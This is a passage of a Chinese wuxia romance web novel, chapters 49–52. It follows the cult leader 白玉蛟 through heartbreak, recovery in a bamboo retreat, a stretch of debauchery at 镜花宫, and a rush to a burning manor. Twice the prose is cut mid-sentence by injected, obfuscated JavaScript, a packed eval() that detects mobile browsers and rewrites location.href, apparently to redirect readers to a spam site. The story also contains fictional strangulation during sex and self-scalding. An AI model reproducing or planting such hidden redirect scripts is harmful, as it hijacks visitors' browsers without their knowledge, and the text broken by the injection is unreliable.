“我,”沈墨白吸了口气,闭上眼睛又睁开,努力保持自己的语气平和,“早就当面拒绝了颜静行,我不会娶她的。因为这件事,我与玉宇琼楼闹得很僵。我之所以来这里,没有什么目的,你可以信也可以不信。我来,只不过是想赌一把。赌在你心里,是你已死师傅的仇更重一点,还是我的分量更重一点。赌你会不会为了我们之间这两年来的种种,放弃复仇。刚才,第一次你的剑锋错过我动脉的时候,我还以为自己还有胜率……” “哼,真可笑。”我冷冷打断了他的话,嘴角勾出一抹嘲讽鄙视的轻笑。虽然嘴角是笑着的,眼睛里却分毫没有笑意,“你根本不配在这里。”我说着,重重指了指自己的心口。 “白玉蛟你逞什么强!”一瞬间,沈墨白也爆发了,他眼睛微微发红,像只被敌人咬了一口的狮子,“你能不能别对我,对自己那么凉薄!” 他吼得声音很大,顺便把手里的那把金贵无比的绝世名剑当垃圾一样重重摔在了地上,发出响亮的“咣当”声。 我被他吼得震了一下。 然后感觉到自己身体里突然开了一个绝大的空洞,全身的力气从那个大洞里迅速的流矢。 一时间,世界变得极其安静,只有淅淅沥沥的雨声,和沈墨白粗重的呼吸声。 一时间,我突然觉得很累很累,我觉得世界天旋地转。 “算了吧……”我突然放轻了语气,向后退了一步,“算了,咱们都别说了。” 我把头转向冷将息,过程中觉得自己的脖子僵硬得像个木头。 我看着他那张十年如一日一成不变老妖怪般的脸。突然发觉,其实我已经不是记得很清楚他到底长得是什么样子。 “虽然……被你涮了一通我很不爽,也许不止是不爽,我可能会记恨你一辈子。但是……”我吸了口气,打住自己声音里的颤音,“知道你没死,而是仍旧逍遥快活得在这万恶的世上,而且安逸清闲尽享天伦之乐,这总归算是件好事。活着总比死了好,你说是吧?而且,知道你还活着,我也算是解脱了。” 我说完,看了看沈墨白,又看了看冷将息。 他们都沉默地对着我,神色复杂得像一股纠缠不清的麻花。 我看着他们俩相似的神情,忽然觉得,其实他们才是对的。 如果没有我,这个故事就完满了。 冷将息和颜静行父女过着平淡的生活,玉宇琼楼带领各大武林门派开创一派生平盛世。颜静行会有一个好丈夫,十四不会家破人亡,顾染织用不着当男宠。世界一片和谐正义,没有邪恶和杀戮,充满了正义与善良。 我想到这里,突然笑了。 “呵,如此甚好,我已经彻底明白了。” “蛟儿……”冷将息轻轻唤了我一声。他声音很轻,轻的如同一声叹息。 我真恨自己听力太好。 蛟儿蛟儿,叫得让人心烦意乱。世界上除了他再没别人会这样叫我。 “你们就都留在那个什么玉宇琼楼吧,你们俩,从此以后,再也别出现在我面前。” 沈墨白闻言,似乎有些急了,“白玉蛟!你为什么不听解释……”他说着,抢上一步想来捉住我的手腕。 “闭嘴!”我有些无法压制情绪,手里的剑“唰”得一下刺到沈墨白脚边,制止了他想要走过来拉我的动作。 “我说的话你难道听不懂么?”我冷冷盯着他,右手指尖猛然一弹,“叮”一声脆响,插在地上的长剑突然一折为二。 “那 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我不知道自己走了多久,直到看到一个一袭白衣的人影,撑着一把油纸伞,站在大路的中央。 走了这么久,总算是见到人影。 不过眼前这家伙真的是活人么?怎么看,怎么像个孤魂野鬼。 我这样想着,一步步走近他,越是近了,他的身影越是清晰,我也越觉得这人有点眼熟。走到他三步之外的时候,我这才突然恍然大悟——这正是在剑阁见过的那个万分怪异的白衣人。这家伙打这个伞还不摘下那白色的面纱,我说你到底是长得有多难看?那么不能见人? 那白衣大仙似乎果然是在等我。 他先开口,“完事儿了?” 他说这话的时候看了看天,仿佛是在估算时间。 我“嗯”了一声,觉得他这话问的真古怪。 随即,白衣人打量了一下我的脸色,皱了皱眉,“你没事吧?” 我停下脚步,刚想说“我好得很”,却那一瞬间,突然感觉到自己胸腹一阵撕心裂肺的剧痛。我不是个怕痛的人,从小到大各种痛都受过,在我身上开几个洞都能一笑而过。只是,这一次,却是不同,比以往任何一种疼痛都让人难以承受。 我捂着胸口慢慢弯下腰,感觉一阵天旋地转。我深呼吸了半天,有点困难得从牙缝里挤出几个字,“那个……扶服我一下……” 白衣人愣了一下。 下一秒,我已经不可抑制吐了一大口血。确切的说,不是一口,是一滩。 白衣人身影一闪,鬼魅一般一瞬间便站在我身旁。 他一只手揽着我的肩膀不让我跌下去,令一只手有些强势得拽着我的手腕。 他三指放在我手腕上探脉,看了会儿天,最后淡定下了结论,“肝失条达,肝气横逆。心气逆乱,心血受损。乃怒极攻心,心无所倚、神无所归之故。” 我晕头转向,心里默默诅咒了一声。 原来这就是传说中的“被气吐血了”。原来怒极攻心什么的狗血桥段,也会发生在我身上。之后,我便果断晕过去了。 50. 素履之往 我醒来的时候,不知道已经睡了多久。 我略略侧了头,望见一个竹窗,窗外是横斜交错的竹枝和婉转深长的鸟鸣。朦胧的阳光透过竹制的窗栏落进房间,不偏不倚正巧落在我的脸上。 我挣扎了一下抬起手,眯起眼睛,遮住有些微微刺眼的光线。翻了个身,我透过微垂的透明纱帘,看清了整个房间。 这似乎是一座小竹楼,从天花板道墙壁地板,全然都是竹子制的,桌椅,包括我躺着的这张床,也全部都是竹子制成。一切都散发着淡淡清苦的香味。 圆形的月门旁垂着淡青色的纱帐,纱帐在风中飘起又落下。一片青绿色的世界,简直就是如置梦境。 我慢腾腾从床上坐起来,感觉自己仿佛失忆了,什么也记不起来,然后就这么一直处在绵长无尽的睡梦中,一睡,过了十年。 不过,这也只是仿佛而已。 朦胧了片刻,我便想起来昏迷之前是那个神神叨叨的白衣人救了我。 我挠了挠乱七八糟的头发,然后趿拉着鞋子走出房间。 我一出门,抬头,然后定定站在原地很久都没有动。 眼前,竟然是一片海洋一般的紫竹林。满眼都是浓郁的高大青竹,竹高数十尺直耸入天,阳光斑驳落在竹叶上,零落得落在眼前,让人产生一种沉溺海底的幻觉。满世界安静得非常,满耳都是竹叶沙沙在风中摇曳的声响。 青翠或微黄的竹叶洋洋洒洒,铺陈了满地。我慢慢走下竹楼,踩下去,那满地竹叶便从极深的地方发出轻微断裂的声响。 我回头,越过我住的小楼,一片错落有致,高高低低,造型奇特却又优雅的竹楼落尽眼底。 这是哪里?这世上竟然还有这般远离凡尘喧嚣,不沾一丝烟火,无限接近仙境的地方。 这白衣人到底是何许人也?如此神秘如此高深,现在,就算告诉我那个白衣人是白蛇变得我都会毫不犹豫的相信。 我七拐八拐,总算抓住了一个在柴房里生火的人,问出了白衣人的下落。那人道,白衣人是在最高的那座象牙姓高塔形的竹楼里。我走到塔楼门口才发现,那竹楼直上直下,竟然没有楼梯。 于是,我提气,一个轻功直接飞到最高处的窗口上。 我大大咧咧翻进塔里,一撩衣摆在窗台坐下。白衣人正在这屋内,他站在一排药柜前头,神色严肃,拿着一杆称砣正在称药,不时放下秤砣,拿起旁边的一杆竹笔,聚精会神写写画画。 我坐在窗口,无所事事看他忙活。过了一会儿才开口,“喂,我认识你吗?” 白衣人头也不抬,似乎是不想搭理我。 我无语了一阵,“那你叫什么?” 白衣人突然抬起眼睛看我。那眼神分明在说:你甚是聒噪,大仙我不爽了。 被他这么一盯,我这才发现,这位解大仙,原来有一双罕见的妖孽吊稍眉。他眼睛极深,原本应该犀利的眸子,却因为微微上翘的眼尾而落得称得上一个“媚”字。 啧,光是这双眉眼,就足以销魂夺魄了啊。虽然大仙现在看上去年过三十气质沉稳若水,但是可以肖想,当年他年轻的时候,就凭这勾人心魄的眼睛,便足以祸乱天下。 我正看得发愣,忽然听到那位大仙冷冰冰丢出来一句,“别吵我,没看见我很忙么?” 我愣。 已经多少年没有人对我以如此趾高气扬颐指气使不可一世傲慢无礼的语气说话!我瞪大了眼睛,感到五脏六腑气不打一处来。 当即我卷袖子,作势要干架,“喂!本座我跟你搭讪,你难道不应该感恩戴德……” 我话还没说完,大仙眉头微微一皱。 我看到他电光火石之间,袖子一挥,袖子下素白的指尖飞出一撮柳叶刀形的暗器。 他动作的确快,但我也不是吃素的,我好整以暇准备一袖子把那小破暗器给挡下来。却不料,那枚看似轻飘飘的暗器,在我指尖夹住它的一刹那,却突然爆发出一股巨大的内力。 这着实超出我意料之外,我被那股旋风似的内力卷着,重心不稳,手忙脚乱之间,尖叫了一声就从窗口摔下去了……最后,“啪叽”一声,在落漫竹叶的地上摔得四仰八叉。 我躺在地上,默默无语望青天。 这是怎么回事啊?!难道我狗血得武功全失了?! 我当即盘腿坐起来,运气。 随即我更加迷惑了,我此时身体状况良好,气脉疏通,内力充盈,没有什么不对啊…… 然后我抬起手,怀疑地去检查指尖夹着的那片“暗器”。 莫非,有机关?前前后后上上下下仔细研究了一圈之后,我震惊得发现,那玩意儿不过是一片再普通不过的竹叶!这么脆的竹叶,一握就碎,那个白衣人竟然能把千钧之力寄于一片树叶?这武功是已经到了什么境界了?! 我一屁股从地上跳起来。 这是怎么回事? 难道我那个所谓的“武功天下第一”只不过是个美丽的幻觉?难道这个狗血的世界上还存在着各种天神级、剑圣级、变态级的真正武林高手?他们都默默站在幕后,隐藏在深山老林里看我们这些红尘中人的笑话?! 我正瞪着我掉出来的那个窗口,忽然听到背后响起一个没什么起伏的空净女声,“白姑娘。” 我回头,看见一个少女。她一袭白色直罗长摆束胸长裙委地,挽着低低云髻,低眉顺眼之间,散发着一股非同常人的仙气。我怔了一下,蓦然觉得这姑娘甚是面熟。 “奴婢是此处主上的婢女,姑娘若是有事,尽管吩咐我便可。” 那时候,我嗓子口咕嘟咕嘟涌上来一大堆问题。这白衣人是谁?和我有什么关系?他怎么会知道我的事?这里是哪里?你们想做什么? 但是,我忽然又觉得,这些问题,问不问,知不知道,其实,都无所谓。 有些事情,真是不知道比较好。有时候,人还是活的糊涂一些为妙。 过了这么久,我终于了解到,不管你是强是弱,即便是你这世上最强的人,较真也不会给你带来任何好处。它只会让你活的越发孤家寡人,让你越发对这个万恶的世界失望透顶,让你越发认清你跟整个世界都八字不合。 于是我话到嘴边,拐了个弯,“你叫什么?” “素履。” “哦?哪两个字?” “取《易·屡》初九,‘素履往,无咎’二字。” 我了然,玩味了一下那两个字。 《易·屡》第九卦。象曰:素履之往,独行愿也。 素乃白色无文彩之意,屡就是鞋子。履道恶华,故素乃无咎。 为了不让自己显得特文盲,我卖弄道,“素履往,是说人以朴素坦白的态度行事,此自无咎之意吧?” 素履点头,“是。” 我轻轻赞道,“真是好名字啊好名字,清新脱俗意味深远,”我笑眯眯把这漂亮姑娘从里到外夸奖了一通,终于问到正题上,“……那素履姑娘,你能不能给我找点酒喝?” “酒?”素履看天,她微微考虑了一下,然后说,“白姑娘,请跟我来。” 然后,我就深切得觉得,素履姑娘真是个好姑娘。 我只期待一坛美酒,她送我一整座酒窖。 素履把我带到了白衣人藏酒的地下酒窖里。酒窖于地下数丈,大得一眼根本看不到头。湿度和温度和通风都控制得非常完美,完全适合存酒和酿酒。我刚下到那阴湿的地下室里,就几乎被空气里弥漫的浓郁香气熏得飘然欲醉了。 凭我二十年喝酒的经验,这酒窖藏得每一坛酒,都是年头颇久的极品。 我自顾自地爬上架子,随意衣袖一卷,卷来一坛好酒抱在怀里,席地而坐,抱起坛子,撕开封泥,毫不客气就开始喝。 我不知道自己喝了多久。 素履早就放任我自便,自己忙去了。 我不停的喝,喝醉了就睡,梦里都是些陈年旧事,但是一醒来就全然不记得,只觉得呼吸里有微微的咸味。然后,便继续狂喝,接着喝,喝得再一次晕死过去。就这么喝喝睡睡,在地上打滚撒泼,没人管没人问,我觉得自己已然飘飘欲仙,快要乘风归去了。就这样不知道过了多久,直到白衣热突然拽着我的手腕,把醉成一滩不明物体的我给从地窖里给拖出去。 白衣人把我拎回自己的房间,扔在床上。 “快点喝了,解酒的。”他递给我一杯不知道是什么的东西。 那味道很是恐怖,我闻了一下就迅速扭头躲到一边。 “不要!我才不要喝这么恶心的东西呢!”我坚定而剧烈地摇头,结果摇得太投入,自己有点反胃。 白衣人二话不多说,突然凶狠一把捏过我下巴,在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在幽暗的背景下,那灯前的侧面美得如真似幻,让人心醉神摇。 我此时此刻纯粹在望着他发呆,白衣人却似乎在沉思什么,有些显得心不在焉。 忽然,他低低开口,“我以为,你不是个想不开的人。” 我愣了一下,本是想反驳,却又觉得自己的确是无法想得开。于是便好笑道,“凭什么我就非得想开了?” “你过来。”白衣人抬头,用下巴对我一指桌子对面那张竹椅。 好吧,他辈分比我高,武功比我好,我就勉为其难姑且听话了…… 我乖乖在他对面坐好,低头盯着自己纠结在一起的手指,恍然觉得自己特别像个做错了事等着师傅念叨的弟子。 “拿着。”白衣人把桌上一个白瓷杯递给我。 我不明所以,但还是乖乖接过去。不知道为什么,在这白衣人面前,我总是不怎么敢造次。 白衣人一只手撑着下巴,懒洋洋得看了我一眼,“你说说,你有什么不能放下的?” 我盯着手里那只杯子,沉默了很久。 有很多不能放下。多到涌到了嗓子眼,反而什么都不想说。只怕一开就会像呕吐一般不可抑制。 于是我只是摇头,“我没那么豁达。哪有那么容易,能说放下就能放下?” 白衣人轻叹一声,微微皱眉。他忽然拿起桌上的茶壶,手腕一倾,猛然往我手里的杯子里头注水。 水很烫,一瞬间,滚烫的水就没过了杯沿,全都落在了我的手指手背上。 我被烫到了手,不由自主撒手。杯子滚落在桌子上,水洒了一片。 我抽了口气,甩了甩被烫到的手指,不解得看着他,“你做什么?” 白衣人从袖口里拿出丝绢递给我,“你觉得痛了么?” 我没有接他递过来的白色素绢,挑眉看他,等着他的下文。 “痛了,自然就会放手。”白衣人看着我,他的目光和他的语气,都淡的如同凉白开,透着的全然是看破红尘万丈的超脱。 我忽然又觉得胸口涌上一堆不明不白的情绪和话语,我忽然觉得委屈,觉得沉重,但是我什么也没说。 我移开眼睛,目光停在倒在桌子上的那盏杯子上。 最后,我猛地站了起来,而后反手拎起那壶滚烫的茶水把它们全数浇在了自己的手上。 我拎着那个茶壶,看着白衣人的眼睛,一字一句道,“若是真的说放手,就可以放手,那这世上就不会再有爱恨贪痴,就不会再有所谓的红尘俗世,就人人都可以看破红尘出家为僧了。” 白衣人的目光微微一动。 我放下那茶壶,转身,“我要走了。” “随你。” 51. 顾小哥,你销魂了 我离开白衣人那里之后,又在外面无所事事游荡半月,因为本座悲催得又变小了。变小的时候,我窝在一个卖包子的夫妇家里,给他们当了半个月招财童子。 每天招揽客人,每天吃剩包子。 不是说福兮祸之所倚,祸兮福之所伏么?为什么我还要变小啊?我这霉运都倒了十年了,怎么仍旧是半点好事儿也碰不上呢?! 我的人生真是一场无与伦比的强咳咳奸,以至于我想享受想将强咳咳奸变成通咳咳奸都做不到,因为,我不犯贱。 半个月后,我在众人诧异的目光中回到了镜花宫。 当时正值子时,无风无月的夜晚,我突然毫无征兆从天而降,落在镜花宫的前院,吓得巡查的侍卫手里的剑稀里哗啦掉了一地。 有几个不明真相的新来的侍卫,不知道是谁吼了一句,“来者何人?!擅闯镜花宫,找死!” 他这一嗓子吼完,用不着我动手,已经被旁边的人拉到一边去狂扁了。 我嘴角带着笑,吊儿郎当挖了挖耳朵,轻浮道,“我啊?我是你们家老大。” 于是,这三更半夜的,整个镜花宫的人都被从被窝里折腾起来,冲到门口来接驾。几百号人在我面前齐刷刷跪成一片方阵。 震耳欲聋的声音响起:“恭喜教主,贺喜教主,教主神功大成!教主仙福永享,寿与天齐。神教千秋万代,一统江湖!” 林间宿鸟一瞬间被惊吓得扑棱棱飞起,黑夜中充满了扑扇翅膀的吵闹声以及漫天乱飞的鸟毛。 我忽然觉得这一幕与两年前我出关的时候如出一辙。 曾经听得我耳朵里长茧子的口号,这一刻听起来,不知怎么就亲切顺耳了。 于是我和颜悦色对他们笑笑,拍了拍掌,“行了,起来吧。入秋了天也凉了,那几位没穿外套没穿鞋的冻得挺难受吧?快点回去睡觉吧。” 我说完,底下是一片巨大的沉默,竟然没有人敢动。 最后,是顾染织第一个站起来,很识相地说,“教主也累了,要歇了。你们别杵在这里挡了教主的路。” 他话音刚落,几百口子人作鸟兽散,眨眼间消散了个干净。 好吧。两年没回来,结果快要忘了教主要怎么当了,我果然只是个蹩脚的二流戏子。 回到镜花宫之后,我便过起了骄奢淫|逸,糜|烂不堪的生活。整个镜花宫的后宫,被我变成了酒池肉林。剑阁上空,都隐隐笼罩着一层纸醉金迷的气息。 虽然属下们都是满肚疑云,但依旧是没人敢对我有任何质问。没人去问我这两年行踪飘忽去了哪里,也没人问十四去了哪里,更没有人会问一句,我为何过着醉生梦死一般的日子。 所有人都对我的事不闻不问,装聋作哑。 真不知该说他们是冷漠,还是识相。 我每日醒了就喝酒,喝醉了就睡觉,睡不着就拖着男|宠往床上按。教主那空了许久的庞大寝殿,日日笙歌,夜夜欢腾。镜花宫里最忙活的人突然变成了琴师歌女舞者宠臣,那些平时里被扔在角落里发霉的米虫们,一下子都受宠了起来,每日花枝招展浓妆艳抹,屁颠屁颠跟在我屁股后头,听说许多人都是恃宠而骄,傲慢的不可一世。 顾染织虽然是暗卫,但一直陪在我身边。 我被他伺候习惯了,他心思细腻又了解我,有他照应安排,我也乐的舒坦。 顾染织很懂我心思,他任我胡闹,陪我堕落,却缄口不问我身上发生了什么事。 他真的一点也不像十四。 若是十四,肯定不会任我放任,这时候肯定会生气得来阻止我,说不定还会做出日日跪在殿前死也不起来这种极端的行为。 可惜,现在连个来劝我的人都没有了。 只有一次,顾小哥姑且算是劝了我一句。 他挂着黑眼圈跟我抱怨,“你再这样下去,我都肾亏了。” 我一看他那副猫一般慵懒的姿态,听他用冷淡的语气拿眼角横我,我顿时继续兽性大发。 我嘻嘻哈哈笑着,胡乱把他直接按到在椅子里一阵蹂躏,我咬着他的耳朵,在他耳边低声坏笑,“怎么?你不行了?那让雪鉴来换换班怎么样?” 我说完,当下就被原地浴火涅槃了的小顾反扑。 小顾笑得一脸邪性,“我不入地狱谁入地狱,为了天下苍生,我还不得勉为其难?” 说实在的,我一直都不明白顾染织心里到底在想些什么。 在两年前他突然暗算我,废了我手足之前,我几乎从来没特别注意过他。对我而言,他不过就是个枕边的伴儿罢了,只能算个漂亮的摆设,呼之则来,挥之即去。如他的人,我想找多少就能找到多少。我从未仔细推敲过他到底在想些什么,他以何种目光在看着我,他所欲为何,所爱为何。 我以为镜花宫里所有的人都是一样的,憎恶我的同时又必须服从我。 我就像是一个巨大的壳子,他们都是活在壳子里的虫子。为了有一个安全的庇护,为了活下去,他们会想办法让这个壳子保持正常。但是若是有一天壳子分崩离析了,他们便会卷了铺盖,寻找下一个壳子。 有一次,我故意灌顾染织喝酒,我说了很多话,他一直沉默着陪我喝。 最后他醉了,我也醉了。 顾染织不是个爱喝酒的人,他从没多喝过,故而,也从未醉过。那天晚上也许是我说的那些话刺激了他,他喝的烂醉。每个人喝醉之后会有不同的表现。有的人变成话唠,哔哔哔哔能烦死人。酒品好一点的人会埋头大睡,比如说鄙人。 顾染织醉了之后,两者皆非。他双眼泛红,疯狂得仿佛是变了一个人。 他把我压倒在床上,情绪仿佛失控了一般。我感觉到,仿佛他四肢百骸都在向外渗透着一种莫名压抑的情绪,他的脸隐没在黑暗明暗晦涩的光影中,带着一种名为痛苦,名为绝望的表情。 那时候,我被他那迷途少年一般迷途的表情迷惑了。 或者说,是被蛊惑了。 他突然发狠般把我按住,像只野兽似的把我弄得很痛,我也没吭声就任他折腾。 他的手指都化身成了爪牙,用力地扣进我的皮肤,仿佛恨不得能把我捏碎。我闻到血气的腥味弥散在四周,很熟悉的味道,只不过这次是我自己身上发出的。 他在黑暗中,突然自上而下,如同发狂了的狼一般盯着我。我把脸埋在被褥里,用眼角淡淡注视着他的表情。 那时候我有种错觉,我不是猛兽,而是一只受伤垂死的鹿。伤口大片的腐烂,将死未死,垂死挣扎,痛苦万分。 他出其不意又理所应当地用力掐住我脖子的时候,我竟然也没有反抗。 那一刻,我分明地了解到,顾染织的恨意是真的,那一刻,他恨不得杀了我。他的手指一点点收紧,我在混乱中攥紧了他垂落铺陈在床褥上的墨色长发,无意识地用力拉扯,压抑住自己想要反抗的本能。那时候我闭上眼睛,任他掐着,心里还默默一个一个穷举出历朝历代那些死在床上的君主们。我发觉,自己多少能够明白他们这些为后世耻笑百年的昏君们了。 因为那一刻,我心里想得也是——就这样死了也不错。 第二天早上,顾染织失忆了似的一切如常,对前一夜的一切决口不谈。只可惜,我脖子上那十个指印乌青乌青,清晰可见。 我感觉到身边的人翻身起床,于是懒洋洋睁开眼睛,看着顾染织站在床边,一件一件优雅淡定地穿衣服,在他即将去穿长衫的时候,我忽然抬起脚,踩了踩他仍然裸着的后腰。 “喂,有件事,我一直很想知道。”我的脚慢慢向下滑,意图似明非明地调戏他。 顾染织回头,脖颈拉出一条伸长的优雅弧线。他勾起唇角浅浅一笑,“什么?” 我忽然翻身坐起来,收敛了脸上戏谑的表情,一字一句问,“你喜欢我么?” 顾染织脸上闪过一抹错愕,随即,他浅浅一笑,反问,“你说呢?” 那表情那风骨,当真是言念君子,温其如玉。 我看着他的眼睛,也对他露出个意味深长的浅笑。 “那我再问,”我面带微笑,目光直直对上他的眼睛,“你恨我么?” 顾染织脸上的那抹笑意忽然就突兀隐去了。 就仿佛一个被当面拆穿了的尴尬骗子。 我没有追问,而是问了他另外一个,也是最后一个问题。 “那么,你后半辈子还想继续陪着我么?” 顾染织的目光重新落在我的身上,他看了我许久。久到我脸上的笑容几乎都挂不住了。 最后,顾染织缓缓的点了一下头。 “当真不反悔?” 顾染织微微一笑,摇了摇头。 “行了,”我当即从床上跳起来,拽着他的胳膊,把他重新拽倒在床上,“时间还早呢,那咱们继续睡吧。” 我说完,把他的脑袋抱在怀里,拖回了被窝里。 ··· 只可惜,我这清闲日子没过多久,就又有人来找我麻烦。 这人就是贱,贱就是人。想当年,我整天在江湖上闹腾,今天杀人明天放火,那些家伙视我为虎狼,对我避之不及。而如今,我歇停了,我每日安安生生在自家床上乖乖睡大觉,他们反倒是赶着趟得来找我麻烦。 镜花宫久违了的堂会,我迟到了足足有一个辰,才打着呵欠被一群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349887|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宠臣簇拥着,懒洋洋出现在大殿上。 我瞥了一眼四周人脸上臭臭的表情,自己心里愉快。 嗯。当个昏君的感觉真是甚妙。 环顾四周,却突然觉得有点违和感,想了想才反应过来,以前那些老脸们现在一个也找不到了。几张椅子旁,站着的都是低眉敛目神色谦恭的新人。我愣了愣,这才想起来。好像以前的长老们都被我很“客气”得劝退回家养老了,说好听点是养老,说白了就是软禁。 现在这班人,都是十四和绝尘女主持下换的。 他们与其说是长老,倒不如说是一排摆设,不过是听我命令乖乖办事罢了。 望着这一张张陌生的脸,一瞬间,突然有种恍若隔世物是人非岁月蹉跎的悲凉。 我往王座上一座,趴在扶手上就习惯性开始打呵欠。 “说吧,什么事?给你们一炷香时间。” 立即,有一个人急急忙忙出列,对我遥遥一拜,“禀教主,最近,江湖上出现了冒充镜花宫之名行凶作恶之徒。” “啊?”我不耐烦地打断了说话的人,“就这事儿?!平时栽赃嫁祸给我们的黑锅还不多吗?这算什么大事啊?!” “教主英明……”说话那人被我给念叨地抖了一下,擦了一下汗,才接着说,“只是……只是这次对方规模庞大,行动手段狠厉,犯下的案子都实在太大,对我神教造成了威胁,我们无法坐视不管。” 我挠了挠头发,挑眉,“噢?有什么大案啊?” “最先是发生在一个月前,青城派门主夫人回娘家省亲,途中,被那拨人所杀。省亲队伍十余人,无人生还。再是二十日前,天西门与唐门结亲,结果迎亲队伍被劫,彩礼全数被抢,新娘,也就是天西门的四小姐也被劫持。几日之前,已经在荒郊发现了新娘的尸体。接着是十五日前,东北鹤唳山庄的少庄主在京城被当街乱刀砍死。然后是……” “好了好了。”我皱了皱眉,抬手打住了那个人的话,“江湖上,都以为是我们做的?” “是。作案者伪装得极其相似,似乎是对我们镜花宫行事作风了若指掌,甚至将我们各个分部的底细也颇为了解。而且,也假借了您的名义。说是您不满前段时间玉宇琼楼放出您已死的谣言,故而进行报复……” 你妹才报复社会呢!我翻了个白眼,“查出来是谁做的了么?” “还没有完全确定,但是……”那人说着,忽然停住了,有些为难地看着身边的几人。 我目光在那些人的脸上逡巡了一圈,然后摇了摇头,“嘁”了一声。 “有什么不敢说的?”我微微扬了点下巴,用手背托住,“是谁做的一目了然吧?就是你们以前那位不安分的长老——屠龙手段岑。我本来是想早点把他做掉的,但是一直太忙就把他的事儿给忘干净了。段岑现在是归属了镇西王府,是吧?也就是说他是凤栖梧的手下,”我说到这里忍不住冷笑了一声,自言自语道,“凤栖梧,不错嘛,一年不见胆子就大了,竟然敢跟我杠上……” 绝尘女坐在角落里。 就算是一直都与一切斗争划清界限洁身自好的绝尘女,这一次,脸色也有几分难看。毕竟,凤栖梧可是她一手调教出来的好徒弟。 我看了一眼绝尘女,她对上我的目光,而后有点尴尬地移开。 我想了一瞬间,随即挥了挥手,“算了算了……凤栖梧他们爱闹,就让他们闹去吧。反正我们本来就是魔教,本来就是不干好事儿的地方。他们这样到处瞎搞,纯当是给我们镜花宫壮大声势。要是他们替我去劫富济贫,替天行道,我反倒要头疼。” 底下的几人顿时露出惊愕的表情,显然对我这个说法有些诧异。 其中一个小心翼翼问道,“那教主您的意思是……” “这事儿不用管了。你们还是该干什么干什么去。别让那个什么来路不明的组织把生意都给抢了,该干的坏事还是要妥妥的干踏实了,懂了吗?” 众人张口结舌。已很明显,他们不懂。不懂也无妨,老老实实奉命行事即可。 本座拍案退朝。 其实对镜花宫来说,灭掉一个凤栖梧还是不在话下的。只是那时候我心意疏懒,不愿意动弹,所以并没有把这件事放在心上。 我是个极少后悔的人。或者说,我是个不愿意后悔的人,因为后悔只能于事无补。 但若当真能够反悔,我定会果断下令剿灭了那帮冒充镜花宫为非作歹的乌合之众。只可惜,事情即已发生,便无论你是捶胸顿足还是撕心裂肺,都为时已晚。 我是个极少认错的人,但这件事情,我承认,我犯了一个不可挽回的大错。并且,为此付出了沉重的代价。 52. 来接你,可惜不是驾着祥云 我赶到云顶山庄的时候,那里正燃着通天大火。 距离百里之外,就可以看到那一片被染成了橘色的妖异天空和冲天直上的青色浓烟,在黑暗中,山尖儿冒着灼灼烈火,仿佛是阿鼻地狱。 我夜行动物一般飞快从山脚下窜到山顶,一路上窜得我一头一脸挂满了树叶树藤和不明生物,可我根本顾不上弄掉,再耽误多一秒,我就更多一分惶恐。 对。我惶恐了。我隐隐约约觉得,这世上容我落脚的最后一处安然之地,马上就要荡然无存了。 我冲到云顶山庄的大门口,气喘吁吁,汗流浃背。 大门已经被窜起的烈焰封死,门里惨烈的尖叫声一波接着一波不停响起。 面前热浪滚滚,我满头是汗,却觉得手心一片冰冷。 我顾不得其他,运气,一掌挥出去。已经有多少年,我都不曾出过掌了,掌风如同潮水,更如旋风海啸一般铺天盖地涌出去。整个大门,院墙,连同火焰,都在一掌之下灰飞烟灭。 我觉得那一刻我肯定无比英勇。一刻也顾不得多想,我便一头扎进了那一片浓烟和灰尘,踏着一地残砖焦瓦,冲走进了云顶山庄的大门。我从烟雾里冲出来,在场行凶的黑衣人全数停住了手下屠杀的行动,转过头来愣愣盯着我。 我一眼扫过这些人的脸,并没看到凤栖梧。看来这小子八成没胆子出来自己行凶。 虽然这些人都很该死,但这一刻本座没空跟他们耗。我瞪了他们一眼,直接无视,运起内力,脚尖一点,身体便离弦的箭一般向何知易的小院子方向掠去。 ··· 昨夜,顾染织突然哐哐哐猛敲我寝殿大门,没等我应允,就一掌震断了门闩,霸气十足地闯入内 殿。 我泡在浴池里,舒舒服服的享受揉肩按腿捏脚,顺便嘴里还嚼着西域运来的大提子。围在池子一圈的男男女女,听到动静,立即都带着警惕而争风吃醋的怨怒,齐刷刷扭过头,盯着大步走过来的顾染织。 我也扭头去看他,总觉得顾小哥一来,周身灵气环绕,那气质那风姿,瞬间就令身边这些家伙光芒尽失,反衬得他们成了一帮庸脂俗粉。 我还没说话,旁边挺受宠的一男人已经开口了,“喂,你活得不耐烦了?教主寝宫是你能闯就闯的吗?别以为教主会对你的飞扬跋扈一再忍让!” 他说完,立即引起周围一片人的附合。 好嘛好嘛,给我戴高帽子让我下不来台,你还真敢。 我心里暗骂了一句,脸上却笑容灿烂。我弯起眼睛,和蔼可亲看着顾染织,语气冷冰冰说,“你最好能给我个不罚你的好理由。” 顾染织面如沉水,他看着我。眼神有点怜悯。 然后我听到他清清楚楚说道,“凤栖梧带人往云顶山庄去了。” 一瞬间,我眼角的笑意瞬间烟消云散。 “你说什么?” 顾染织又字正腔圆重复了一遍。 云顶山庄?云顶山庄。何知易。 我震了一下,当即“哗啦”一声赤身裸体从浴池里一脚迈出去。 “教主?”周围的小哥妹纸们顿时呆了。 我不耐烦推开面前挡路的家伙,怒喝了一句,“滚开”。 莺莺燕燕花花草草们大惊,顿时作鸟兽散。 我在屏风后面手忙脚乱的穿衣服,说话的语气自己都没注意到竟然有点咬牙切齿,“是什么时候的事?” “五个时辰前北疆的暗桩得到消息,半刻钟前刚刚送到剑阁。” 我估算了一下时间。若是凤栖梧的人是直线从北疆往镇江云顶山庄去,再怎么快马加鞭也三日。 似乎,也许,可能,我还有机会赶得上。 我三两下把衣带系好,随便拿了个绳子把仍然潮湿着的头发系住,“阿织,通知暗卫,跟我走。” 